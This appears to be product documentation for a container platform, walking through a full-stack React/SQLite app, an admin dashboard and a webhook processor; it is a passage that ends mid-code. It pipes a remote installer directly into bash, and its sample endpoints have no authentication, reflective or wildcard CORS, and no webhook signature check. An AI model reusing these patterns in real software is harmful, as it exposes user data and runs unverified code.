We are going to build a full-stack application from scratch -- a React frontend, a TypeScript API backend, a SQLite database with session management, and a production domain. Everything runs inside containers where every service is already an HTTP endpoint. No Docker. No Nginx. No deploy scripts. Just URLs composing with URLs.

---

## The Architecture

Here is what we are building:

```
                    your-app.com (Proxy Alias)
                         |
            ┌────────────┴────────────┐
            v                         v
    ┌──────────────┐         ┌──────────────┐
    │   Frontend   │         │   Backend    │
    │  Container   │  HTTP   │  Container   │
    │              │ ──────> │              │
    │  hoody-daemon│         │  hoody-exec  │
    │  (React app) │         │  (API routes)│
    │              │         │  hoody-sqlite│
    │  hoody-code  │         │  (database)  │
    │  (VS Code)   │         │              │
    └──────────────┘         └──────────────┘
```

Two containers. One project. Every arrow is an HTTP call. Every box is a URL.


Every container includes the full Hoody Kit service stack automatically. We are choosing which services to USE -- not which to install. Nothing to configure. Nothing to provision.


---

## Step 1: Create the Project and Containers

First, create a project to organize your full-stack app.


  
    ```bash
    # Create the project
    hoody projects create --alias "my-saas-app"

    # Create the backend container
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "backend" \
      --container-image "debian-12" \
      --hoody-kit

    # Create the frontend container
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "frontend" \
      --container-image "debian-12" \
      --hoody-kit
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Create the project
    const project = await client.api.projects.create({ alias: 'my-saas-app' });

    // Create backend container
    const backend = await client.api.containers.create(project.data.id, {
      name: 'backend',
      server_id: SERVER_ID,
      container_image: 'debian-12',
      hoody_kit: true,
    });

    // Create frontend container
    const frontend = await client.api.containers.create(project.data.id, {
      name: 'frontend',
      server_id: SERVER_ID,
      container_image: 'debian-12',
      hoody_kit: true,
    });

    console.log('Backend:', backend.data.id);
    console.log('Frontend:', frontend.data.id);
    ```
  
  
    ```bash
    # Create the project
    curl -X POST "https://api.hoody.icu/api/v1/projects" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "my-saas-app"}'

    # Create backend container
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "backend",
        "server_id": "'$SERVER_ID'",
        "container_image": "debian-12",
        "hoody_kit": true
      }'

    # Create frontend container
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "frontend",
        "server_id": "'$SERVER_ID'",
        "container_image": "debian-12",
        "hoody_kit": true
      }'
    ```
  


You now have two containers. Each has the full Hoody Kit HTTP stack running. Total time: seconds.

---

## Step 2: Build the Backend API

The backend lives entirely inside hoody-exec. No Express. No Fastify. No server configuration. You write functions in files and they become HTTP endpoints.

### Create the Database Schema

Use hoody-sqlite to set up your data layer:


  
    ```bash
    # Create the users table
    hoody db exec-transaction --db /hoody/databases/app.db \
      --transaction '[{"statement": "CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, email TEXT UNIQUE NOT NULL, name TEXT NOT NULL, created_at DATETIME DEFAULT CURRENT_TIMESTAMP)"}]'

    # Create the posts table
    hoody db exec-transaction --db /hoody/databases/app.db \
      --transaction '[{"statement": "CREATE TABLE IF NOT EXISTS posts (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER REFERENCES users(id), title TEXT NOT NULL, body TEXT NOT NULL, created_at DATETIME DEFAULT CURRENT_TIMESTAMP)"}]'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: BACKEND_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    // Call the SQLite service directly over HTTP — it's just another URL.
    // The `db` query param is required; create_db_if_missing=true creates app.db on first use.
    const sqliteUrl = `https://${PROJECT_ID}-${BACKEND_ID}-sqlite-1.${SERVER}.containers.hoody.icu`;

    await fetch(`${sqliteUrl}/api/v1/sqlite/db?db=/hoody/databases/app.db&create_db_if_missing=true`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        transaction: [
          { statement: `CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            email TEXT UNIQUE NOT NULL,
            name TEXT NOT NULL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
          )` }
        ],
      })
    });

    await fetch(`${sqliteUrl}/api/v1/sqlite/db?db=/hoody/databases/app.db`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        transaction: [
          { statement: `CREATE TABLE IF NOT EXISTS posts (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            user_id INTEGER REFERENCES users(id),
            title TEXT NOT NULL,
            body TEXT NOT NULL,
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP
          )` }
        ],
      })
    });
    ```
  
  
    ```bash
    # Create users table (create_db_if_missing=true creates app.db on first use)
    curl -X POST "https://$PROJECT_ID-$BACKEND_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=/hoody/databases/app.db&create_db_if_missing=true" \
      -H "Content-Type: application/json" \
      -d '{
        "transaction": [{"statement": "CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, email TEXT UNIQUE NOT NULL, name TEXT NOT NULL, created_at DATETIME DEFAULT CURRENT_TIMESTAMP)"}]
      }'

    # Create posts table
    curl -X POST "https://$PROJECT_ID-$BACKEND_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=/hoody/databases/app.db" \
      -H "Content-Type: application/json" \
      -d '{
        "transaction": [{"statement": "CREATE TABLE IF NOT EXISTS posts (id INTEGER PRIMARY KEY AUTOINCREMENT, user_id INTEGER REFERENCES users(id), title TEXT NOT NULL, body TEXT NOT NULL, created_at DATETIME DEFAULT CURRENT_TIMESTAMP)"}]
      }'
    ```
  


### Set Up Session Storage with KV

Use the KV store built into hoody-sqlite for session management -- no Redis, no Memcached, no third service:


  
    ```bash
    # Store a session token
    hoody kv set "session:abc123" \
      --db /hoody/databases/app.db \
      --body '{"user_id": 1, "expires": "2026-04-01T00:00:00Z"}'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: BACKEND_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    await containerClient.sqlite.kvStore.set('session:abc123', JSON.stringify({ user_id: 1, expires: '2026-04-01T00:00:00Z' }), { db: '/hoody/databases/app.db' });
    ```
  
  
    ```bash
    # The request body IS the value (raw string), not a JSON wrapper. `db` is required.
    curl -X PUT "https://$PROJECT_ID-$BACKEND_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/kv/session:abc123?db=/hoody/databases/app.db" \
      -H "Content-Type: application/json" \
      -d '{"user_id": 1, "expires": "2026-04-01T00:00:00Z"}'
    ```
  


### Write the API Routes

Create your API endpoint scripts. Each file becomes a URL automatically:


  
    ```bash
    # Write the users endpoint
    hoody exec scripts write \
      --path "api/users.ts" \
      --content "// @mode serverless\n// @cors reflective\n// @timeout 5000\n\nconst SQLITE_URL = \"https://'$PROJECT_ID'-'$BACKEND_ID'-sqlite-1.'$SERVER'.containers.hoody.icu\";\n\nif (metadata.method === \"GET\") {\n  const result = await fetch(SQLITE_URL + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/json\" },\n    body: JSON.stringify({ transaction: [{ query: \"SELECT * FROM users ORDER BY created_at DESC\" }] })\n  });\n  return await result.json();\n}\n\nif (metadata.method === \"POST\") {\n  const { email, name } = req.body;\n  const result = await fetch(SQLITE_URL + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/json\" },\n    body: JSON.stringify({ transaction: [{ query: \"INSERT INTO users (email, name) VALUES (?, ?)\", values: [email, name] }] })\n  });\n  return await result.json();\n}" \
      --create-dirs
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: BACKEND_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    const sqliteUrl = `https://${PROJECT_ID}-${BACKEND_ID}-sqlite-1.${SERVER}.containers.hoody.icu`;

    await containerClient.exec.scripts.write({
      path: 'api/users.ts',
      content: `
    // @mode serverless
    // @cors reflective
    // @timeout 5000

    const SQLITE_URL = "${sqliteUrl}";

    if (metadata.method === "GET") {
      const result = await fetch(SQLITE_URL + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ transaction: [{ query: "SELECT * FROM users ORDER BY created_at DESC" }] })
      });
      return await result.json();
    }

    if (metadata.method === "POST") {
      const { email, name } = req.body;
      const result = await fetch(SQLITE_URL + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({
          transaction: [{ query: "INSERT INTO users (email, name) VALUES (?, ?)", values: [email, name] }]
        })
      });
      return await result.json();
    }
      `,
      createDirs: true,
    });
    ```
  
  
    ```bash
    # Build the script payload from real env vars so the embedded URL is concrete.
    SQLITE_URL="https://$PROJECT_ID-$BACKEND_ID-sqlite-1.$SERVER.containers.hoody.icu"
    SCRIPT_CONTENT="// @mode serverless\n// @cors reflective\n// @timeout 5000\n\nconst SQLITE_URL = \"$SQLITE_URL\";\n\nif (metadata.method === \"GET\") {\n  const result = await fetch(SQLITE_URL + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/json\" },\n    body: JSON.stringify({ transaction: [{ query: \"SELECT * FROM users ORDER BY created_at DESC\" }] })\n  });\n  return await result.json();\n}\n\nif (metadata.method === \"POST\") {\n  const { email, name } = req.body;\n  const result = await fetch(SQLITE_URL + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n    method: \"POST\",\n    headers: { \"Content-Type\": \"application/json\" },\n    body: JSON.stringify({\n      transaction: [{ query: \"INSERT INTO users (email, name) VALUES (?, ?)\", values: [email, name] }]\n    })\n  });\n  return await result.json();\n}"

    curl -X POST "https://$PROJECT_ID-$BACKEND_ID-exec-1.$SERVER.containers.hoody.icu/api/v1/exec/scripts/write" \
      -H "Content-Type: application/json" \
      -d "$(jq -n --arg p "api/users.ts" --arg c "$SCRIPT_CONTENT" '{path:$p,content:$c,createDirs:true}')"
    ```
  


That script is now live at:

```
https://$PROJECT_ID-$BACKEND_ID-exec-1.$SERVER.containers.hoody.icu/api/users
```

No deployment. No build step. No restart. The file IS the API.


Notice the backend API calls the SQLite service via HTTP within the same container. Services compose through HTTP -- the database is just another URL.


---

## Step 3: Scaffold the Frontend

Use hoody-terminal to scaffold a React app inside the frontend container:


  
    ```bash
    # Install Node.js and scaffold React app.
    # --ephemeral auto-generates an isolated session; without it --terminal-id is required.
    hoody terminal sessions exec --ephemeral \
      --command "curl -fsSL https://bun.sh/install | bash && \
                 bun create vite my-app --template react-ts && \
                 cd my-app && bun install"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: FRONTEND_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    // Scaffold the React app. ephemeral=true spins up a guaranteed-unique
    // isolated PTY (no display/dbus, auto-cleanup) — ideal for one-shot commands.
    await containerClient.terminal.execution.execute({
      command: `curl -fsSL https://bun.sh/install | bash && \
                bun create vite my-app --template react-ts && \
                cd my-app && bun install`,
    }, { ephemeral: true });
    ```
  
  
    ```bash
    # ephemeral=true creates a guaranteed-unique isolated PTY (no display/dbus, auto-cleanup).
    # Without it, terminal_id is required.
    curl -X POST "https://$PROJECT_ID-$FRONTEND_ID-terminal-1.$SERVER.containers.hoody.icu/api/v1/terminal/execute?ephemeral=true" \
      -H "Content-Type: application/json" \
      -d '{
        "command": "curl -fsSL https://bun.sh/install | bash && bun create vite my-app --template react-ts && cd my-app && bun install"
      }'
    ```
  


### Connect Frontend to Backend

Configure the React app to call the backend API. The backend is just a URL -- no environment variable gymnastics, no proxy configuration:

```typescript
// src/api.ts -- inside your React app
const API_BASE = 'https://PROJECT_ID-BACKEND_ID-exec-1.SERVER.containers.hoody.icu';

export async function getUsers() {
  const res = await fetch(`${API_BASE}/api/users`);
  return res.json();
}

export async function createUser(email: string, name: string) {
  const res = await fetch(`${API_BASE}/api/users`, {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, name }),
  });
  return res.json();
}
```

### Serve with hoody-daemon

Use hoody-daemon to run the dev server as a managed background process:


  
    ```bash
    # Start the React dev server as a daemon
    hoody daemon programs create \
      --name "react-dev" \
      --command "cd /root/my-app && bun run dev --host 0.0.0.0 --port 3000" \
      --user root
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: FRONTEND_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    await containerClient.daemon.programs.add({
      name: 'react-dev',
      command: 'cd /root/my-app && bun run dev --host 0.0.0.0 --port 3000',
      user: 'root',
    });
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$FRONTEND_ID-daemon-1.$SERVER.containers.hoody.icu/api/v1/daemon/programs/add" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "react-dev",
        "command": "cd /root/my-app && bun run dev --host 0.0.0.0 --port 3000",
        "user": "root"
      }'
    ```
  


Your React app is now running. View it live in hoody-display or access it through the container URL.

---

## Step 4: Set Up a Production Domain

Transform the cryptographic container URL into a clean production domain using proxy aliases.


  
    ```bash
    # Create alias for the frontend
    hoody proxy create \
      --container-id $FRONTEND_ID \
      --program daemon --index 1 \
      --alias "my-saas-app"

    # Create alias for the API
    hoody proxy create \
      --container-id $BACKEND_ID \
      --program exec --index 1 \
      --alias "api-my-saas-app"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    // Frontend alias
    await client.api.proxyAliases.create({
      container_id: FRONTEND_ID,
      alias: 'my-saas-app',
      program: 'daemon',
      index: 1,
    });

    // API alias
    await client.api.proxyAliases.create({
      container_id: BACKEND_ID,
      alias: 'api-my-saas-app',
      program: 'exec',
      index: 1,
    });
    ```
  
  
    ```bash
    # Frontend alias
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$FRONTEND_ID'",
        "alias": "my-saas-app",
        "program": "daemon",
        "index": 1
      }'

    # API alias
    curl -X POST "https://api.hoody.icu/api/v1/proxy/aliases" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "container_id": "'$BACKEND_ID'",
        "alias": "api-my-saas-app",
        "program": "exec",
        "index": 1
      }'
    ```
  


Now your app is live at `my-saas-app.hoody.icu` with the API at `api-my-saas-app.hoody.icu`. You can also connect your own domain -- see [Connect Your Domain](/foundation/proxy/connect-domain/).

---

## Step 5: Snapshot Before Going Live

Never deploy without a safety net. Snapshot both containers before you announce to the world:


  
    ```bash
    # Snapshot backend
    hoody snapshots create -c $BACKEND_ID \
      --alias "pre-launch-backend"

    # Snapshot frontend
    hoody snapshots create -c $FRONTEND_ID \
      --alias "pre-launch-frontend"
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    await client.api.containers.createSnapshot(BACKEND_ID, {
      alias: 'pre-launch-backend',
    });

    await client.api.containers.createSnapshot(FRONTEND_ID, {
      alias: 'pre-launch-frontend',
    });
    ```
  
  
    ```bash
    # Snapshot backend
    curl -X POST "https://api.hoody.icu/api/v1/containers/$BACKEND_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "pre-launch-backend"}'

    # Snapshot frontend
    curl -X POST "https://api.hoody.icu/api/v1/containers/$FRONTEND_ID/snapshots" \
      -H "Authorization: Bearer $HOODY_TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"alias": "pre-launch-frontend"}'
    ```
  


Something breaks post-launch? Restore both containers in seconds. The entire application -- code, database, configuration -- rolls back to the exact moment you snapshotted.

---

## The Complete Picture

Here is your full-stack application as a service composition:

```
┌──────────────────────────────────────────────────────────┐
│                     HOODY PROJECT                        │
│                    "my-saas-app"                          │
│                                                          │
│  ┌────────────────────┐    ┌─────────────────────────┐   │
│  │  FRONTEND CONTAINER│    │  BACKEND CONTAINER      │   │
│  │                    │    │                          │   │
│  │  terminal-1        │    │  exec-1   ← API routes  │   │
│  │  (dev tools)       │    │  (users.ts, posts.ts)   │   │
│  │                    │    │                          │   │
│  │  daemon-1          │    │  sqlite-1 ← database    │   │
│  │  (React dev server)│    │  (users, posts, KV)     │   │
│  │                    │    │                          │   │
│  │  code-1            │    │  terminal-1              │   │
│  │  (VS Code in      │    │  (maintenance)           │   │
│  │   browser)         │    │                          │   │
│  │                    │    │  daemon-1                │   │
│  │  display-1         │    │  (background jobs)       │   │
│  │  (live preview)    │    │                          │   │
│  └────────┬───────────┘    └──────────┬──────────────┘   │
│           │                           │                  │
│           │     HTTP calls            │                  │
│           └─────────────>─────────────┘                  │
│                                                          │
│  ┌──────────────────────────────────────────────────┐    │
│  │  PROXY ALIASES                                   │    │
│  │  my-saas-app.hoody.icu     → frontend:daemon-1   │    │
│  │  api-my-saas-app.hoody.icu → backend:exec-1      │    │
│  └──────────────────────────────────────────────────┘    │
│                                                          │
│  ┌──────────────────────────────────────────────────┐    │
│  │  SNAPSHOTS                                       │    │
│  │  pre-launch-backend   (entire backend state)     │    │
│  │  pre-launch-frontend  (entire frontend state)    │    │
│  └──────────────────────────────────────────────────┘    │
└──────────────────────────────────────────────────────────┘
```

**Every box is a URL. Every arrow is an HTTP request. Every component is snapshotable, shareable, and composable.**

---

## Development Workflow

With the app running, your daily development looks like this:

1. **Open hoody-code** (VS Code in browser) to edit frontend or backend files
2. **Open hoody-terminal** side by side for running tests, checking logs
3. **Open hoody-display** for live preview of the React app
4. **Query hoody-sqlite** directly via its web UI to inspect data
5. **Snapshot** before any risky change -- restore in seconds if something breaks
6. **Share the URL** with your team -- they are instantly in your development environment

No local setup. No "works on my machine." No environment drift. The development environment IS the production environment, separated only by a proxy alias.

---

## Scaling Up

When your app grows, Hoody grows with it:

- **Add more containers** for microservices -- each is just another URL
- **Use SQLite Drive** to share databases across containers via `/hoody/databases/`
- **Use Shared Storage** for cross-container files via `/hoody/shared/`
- **Add hoody-cron** for scheduled jobs (backups, cleanups, reports)
- **Add hoody-browser** for automated testing of your frontend
- **Point hoody-agent** at your codebase and let AI handle pull requests

The architecture is the same at 1 container or 100. HTTP in, HTTP out, URLs all the way down.


Traditional full-stack deployment requires expertise in Docker, Kubernetes, cloud networking, SSL, CI/CD, reverse proxies, load balancers, and infrastructure-as-code tools. With Hoody, you needed to know one thing: HTTP. The platform handles everything else.


---

## What's Next

- **[The Vibe Coding Revolution](/guides/vibe-coding/)** -- Let AI build your next feature while you watch
- **[Multiplayer by Default](/guides/multiplayer/)** -- Share your development environment with your team
- **[Rapid Internal Tools](/guides/internal-tools/)** -- Build admin dashboards and scripts in minutes
- **[Hoody Kit Overview](/kit/)** -- Deep dive into the 18 services powering your app

---

# Rapid Internal Tools

**Page:** guides/internal-tools

[Download Raw Markdown](./guides/internal-tools.md)

---

# Rapid Internal Tools

**Every company has the same dirty secret: critical business processes run on spreadsheets, Slack messages, and manual copy-paste between systems.** The admin dashboard that would take two months to build properly never gets built. The webhook processor that should exist gets replaced by someone checking email. The report that should be automated is generated by hand every Friday.

These tools do not get built because the overhead of building them is absurd. Spin up a server. Configure a database. Set up authentication. Write a deployment pipeline. Manage SSL certificates. All for an internal tool that three people use.

On Hoody, an internal tool is a file. You write a function, it becomes an HTTP endpoint. You query the database through HTTP. You share the URL with your team. Done. No infrastructure. No deployment. No maintenance. The file IS the tool.

---

## Why Internal Tools Are Perfect for Hoody

| Traditional Internal Tool | Hoody Internal Tool |
|--------------------------|---------------------|
| Provision a server | Already have one |
| Install a web framework | Write a function in a file |
| Set up a database | hoody-sqlite is already running |
| Configure authentication | Proxy permissions |
| Write deployment scripts | Files are live instantly |
| Manage SSL certificates | Handled by the proxy |
| Monitor uptime | hoody-daemon auto-restarts |
| Schedule tasks | hoody-cron is already running |

The distance between "I need this tool" and "this tool exists" collapses from weeks to minutes.


hoody-exec is the key primitive here. Every script you write in the `scripts/` directory automatically becomes an HTTP endpoint. No routing configuration. No server setup. No framework. Write function, get URL.


---

## Build 1: Admin Dashboard

An admin dashboard that reads user data from SQLite and returns JSON. The frontend can be any HTML page, a React app, or even a curl command.

### Step 1: Create the Data


  
    ```bash
    # Create the users table with sample data (--db is required; --create-db-if-missing creates app.db on first use)
    hoody db exec-transaction --db /hoody/databases/app.db --create-db-if-missing \
      --transaction '[{"statement": "CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, email TEXT NOT NULL, name TEXT NOT NULL, role TEXT DEFAULT '\''user'\'', status TEXT DEFAULT '\''active'\'', created_at DATETIME DEFAULT CURRENT_TIMESTAMP, last_login DATETIME)"}]'

    # Insert sample data
    hoody db exec-transaction --db /hoody/databases/app.db \
      --transaction '[{"statement": "INSERT INTO users (email, name, role, status, last_login) VALUES (\"alice@company.com\", \"Alice Chen\", \"admin\", \"active\", \"2026-03-03\"), (\"bob@company.com\", \"Bob Martinez\", \"user\", \"active\", \"2026-03-04\"), (\"carol@company.com\", \"Carol Kim\", \"user\", \"suspended\", \"2026-02-15\")"}]'
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    // SDK executeTransaction has a known body-param bug — using fetch for now
    const sqliteUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-sqlite-1.${SERVER}.containers.hoody.icu`;
    const notificationUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-n-1.${SERVER}.containers.hoody.icu`;
    await fetch(`${sqliteUrl}/api/v1/sqlite/db?db=/hoody/databases/app.db&create_db_if_missing=true`, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        transaction: [
          { statement: `CREATE TABLE IF NOT EXISTS users (
            id INTEGER PRIMARY KEY AUTOINCREMENT,
            email TEXT NOT NULL,
            name TEXT NOT NULL,
            role TEXT DEFAULT 'user',
            status TEXT DEFAULT 'active',
            created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
            last_login DATETIME
          )` }
        ],
      })
    });
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-sqlite-1.$SERVER.containers.hoody.icu/api/v1/sqlite/db?db=/hoody/databases/app.db&create_db_if_missing=true" \
      -H "Content-Type: application/json" \
      -d '{
        "transaction": [{"statement": "CREATE TABLE IF NOT EXISTS users (id INTEGER PRIMARY KEY AUTOINCREMENT, email TEXT NOT NULL, name TEXT NOT NULL, role TEXT DEFAULT '\''user'\'', status TEXT DEFAULT '\''active'\'', created_at DATETIME DEFAULT CURRENT_TIMESTAMP, last_login DATETIME)"}]
      }'
    ```
  


### Step 2: Write the Dashboard API

Create a hoody-exec script that serves as the dashboard backend:


  
    ```bash
    hoody exec scripts write \
      --path "admin/dashboard.ts" \
      --content "// @mode serverless\n// @cors reflective\n// @timeout 5000\n\nconst SQLITE = \"https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu\";\n\nconst stats = await fetch(SQLITE + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({ transaction: [{ query: \"SELECT COUNT(*) as total_users FROM users\" }] })\n}).then(r => r.json());\n\nreturn { statistics: stats, generated_at: new Date().toISOString() };" \
      --create-dirs
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    await containerClient.exec.scripts.write({
      path: 'admin/dashboard.ts',
      content: `
    // @mode serverless
    // @cors reflective
    // @timeout 5000

    const SQLITE = "${sqliteUrl}";

    const stats = await fetch(SQLITE + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        transaction: [{
          query: \`SELECT
            COUNT(*) as total_users,
            SUM(CASE WHEN status = 'active' THEN 1 ELSE 0 END) as active_users,
            SUM(CASE WHEN status = 'suspended' THEN 1 ELSE 0 END) as suspended_users,
            SUM(CASE WHEN role = 'admin' THEN 1 ELSE 0 END) as admin_count,
            SUM(CASE WHEN last_login > datetime('now', '-7 days') THEN 1 ELSE 0 END) as active_this_week
          FROM users\`
        }]
      })
    }).then(r => r.json());

    const recent = await fetch(SQLITE + "/api/v1/sqlite/db?db=/hoody/databases/app.db", {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({
        transaction: [{ query: "SELECT name, email, role, status, last_login FROM users ORDER BY last_login DESC LIMIT 10" }]
      })
    }).then(r => r.json());

    return {
      statistics: stats.data?.[0] || stats,
      recent_logins: recent.data || recent,
      generated_at: new Date().toISOString()
    };
      `,
      createDirs: true,
    });
    ```
  
  
    ```bash
    curl -X POST "https://$PROJECT_ID-$CONTAINER_ID-exec-1.$SERVER.containers.hoody.icu/api/v1/exec/scripts/write" \
      -H "Content-Type: application/json" \
      -d '{
        "path": "admin/dashboard.ts",
        "content": "// @mode serverless\n// @cors reflective\n// @timeout 5000\n\nconst SQLITE = \"https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu\";\n\nconst stats = await fetch(SQLITE + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({ transaction: [{ query: \"SELECT COUNT(*) as total_users FROM users\" }] })\n}).then(r => r.json());\n\nreturn { statistics: stats, generated_at: new Date().toISOString() };",
        "createDirs": true
      }'
    ```
  


### Step 3: Use It

Your dashboard API is now live:

```bash
curl "https://PROJECT-CONTAINER-exec-1.SERVER.containers.hoody.icu/admin/dashboard"
```

Response:

```json
{
  "statistics": {
    "total_users": 3,
    "active_users": 2,
    "suspended_users": 1,
    "admin_count": 1,
    "active_this_week": 2
  },
  "recent_logins": [
    { "name": "Bob Martinez", "email": "bob@company.com", "role": "user", "status": "active", "last_login": "2026-03-04" },
    { "name": "Alice Chen", "email": "alice@company.com", "role": "admin", "status": "active", "last_login": "2026-03-03" }
  ],
  "generated_at": "2026-03-04T12:00:00.000Z"
}
```

**From nothing to a working admin dashboard API: one file, one URL, zero infrastructure.**

---

## Build 2: Webhook Processor

Receive webhooks from external services, store them in SQLite, and send notifications.

### The Script


  
    ```bash
    hoody exec scripts write \
      --path "webhooks/stripe.ts" \
      --content "// @mode serverless\n// @cors *\n// @timeout 10000\n// @concurrent false\n\nconst SQLITE = \"https://PROJECT-CONTAINER-sqlite-1.SERVER.containers.hoody.icu\";\nconst NOTIFY = \"https://PROJECT-CONTAINER-n-1.SERVER.containers.hoody.icu\";\n\nawait fetch(SQLITE + \"/api/v1/sqlite/db?db=/hoody/databases/app.db\", {\n  method: \"POST\",\n  headers: { \"Content-Type\": \"application/json\" },\n  body: JSON.stringify({\n    transaction: [{\n      query: \"INSERT INTO webhook_events (source, event_type, payload, received_at) VALUES (?, ?, ?, ?)\",\n      values: [\"stripe\", req.body.type, JSON.stringify(req.body), new Date().toISOString()]\n    }]\n  })\n});\n\nreturn { received: true, event: req.body.type };" \
      --create-dirs
    ```
  
  
    ```typescript
    import { HoodyClient } from '@hoody-ai/hoody-sdk';

    const client = new HoodyClient({ baseURL: 'https://api.hoody.icu', token: process.env.HOODY_TOKEN });

    const containerClient = await client.withContainer({
      id: CONTAINER_ID,
      project_id: PROJECT_ID,
      server: SERVER,
    });

    const sqliteUrl       = `https://${PROJECT_ID}-${CONTAINER_ID}-sqlite-1.${SERVER}.containers.hoody.icu`;
    const notificationUrl = `https://${PROJECT_ID}-${CONTAINER_ID}-n-1.${SERVER}.containers.hoody.icu`;

    await containerClient.exec.scripts.write({
      path: 'webhooks/stripe.ts',
      content: `
    // @mode serverless
